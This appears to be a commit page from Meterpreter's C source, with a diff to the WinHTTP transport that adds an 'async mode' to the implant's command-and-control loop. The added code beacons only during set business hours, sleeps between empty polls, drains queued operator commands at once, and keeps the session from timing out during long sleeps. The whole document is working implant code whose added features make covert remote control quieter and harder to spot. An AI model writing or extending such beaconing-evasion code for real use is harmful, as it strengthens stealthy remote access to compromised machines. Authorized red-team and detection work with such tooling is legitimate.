Skip to content

Commit 395ba30

Browse files
committed
feat: add async polling and business-hours sleep to HTTP dispatch loop
When async mode is enabled, the dispatch loop sleeps for the configured poll interval on empty responses and skips sleep after handling commands to drain queued requests. Outside business hours, the loop pauses with 60s re-checks.
1 parent 2bad848 commit 395ba30

1 file changed

Lines changed: 44 additions & 0 deletions

File tree

c/meterpreter/source/metsrv/server_transport_winhttp.c

Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,10 @@
1111
#include "packet_encryption.h"
1212
#include "pivot_packet_dispatch.h"
1313

14+
// Async mode helpers (defined in core_async.c)
15+
extern BOOL async_in_work_hours(HttpTransportContext* ctx);
16+
extern DWORD async_calculate_sleep_ms(HttpTransportContext* ctx);
17+
1418
/*!
1519
* @brief Prepare a winHTTP request with the given context.
1620
* @param ctx Pointer to the HTTP transport context to prepare the request from.
@@ -675,6 +679,24 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread)
675679
break;
676680
}
677681

682+
// Async mode: wait until inside business hours before polling
683+
if (ctx->async_mode && (ctx->async_work_start != ctx->async_work_end) && !async_in_work_hours(ctx))
684+
{
685+
dprintf("[DISPATCH] Outside business hours, sleeping 60s before re-check");
686+
if (ctx->async_wake_event)
687+
{
688+
WaitForSingleObject(ctx->async_wake_event, 60000);
689+
}
690+
else
691+
{
692+
Sleep(60000);
693+
}
694+
// Keep comms timestamp fresh so the timeout check doesn't
695+
// kill the transport during intentional out-of-hours sleep
696+
transport->comms_last_packet = current_unix_timestamp();
697+
continue;
698+
}
699+
678700
dprintf("[DISPATCH] Reading data from the remote side...");
679701
result = packet_receive_http(remote, &packet);
680702

@@ -684,6 +706,24 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread)
684706
if (result == ERROR_EMPTY)
685707
{
686708
transport->comms_last_packet = current_unix_timestamp();
709+
710+
// In async mode, sleep for the configured poll interval on empty responses
711+
if (ctx->async_mode && ctx->async_poll_interval > 0)
712+
{
713+
DWORD asyncDelay = async_calculate_sleep_ms(ctx);
714+
dprintf("[DISPATCH] Async mode: no commands, sleeping for %ums", asyncDelay);
715+
if (ctx->async_wake_event)
716+
{
717+
WaitForSingleObject(ctx->async_wake_event, asyncDelay);
718+
}
719+
else
720+
{
721+
Sleep(asyncDelay);
722+
}
723+
// Refresh timestamp so comms timeout doesn't fire after the async sleep
724+
transport->comms_last_packet = current_unix_timestamp();
725+
continue;
726+
}
687727
}
688728
else if (result == ERROR_WINHTTP_CANNOT_CONNECT)
689729
{
@@ -802,6 +842,10 @@ static DWORD server_dispatch_http(Remote* remote, THREAD* dispatchThread)
802842
{
803843
dprintf("[DISPATCH] Packet was NULL, this indicates that it was a pivot packet");
804844
}
845+
846+
// In async mode, do NOT sleep after handling a command — immediately
847+
// poll again to drain any remaining queued commands. The sleep only
848+
// happens on empty responses (no commands available).
805849
}
806850
}
807851

0 commit comments

Comments
 (0)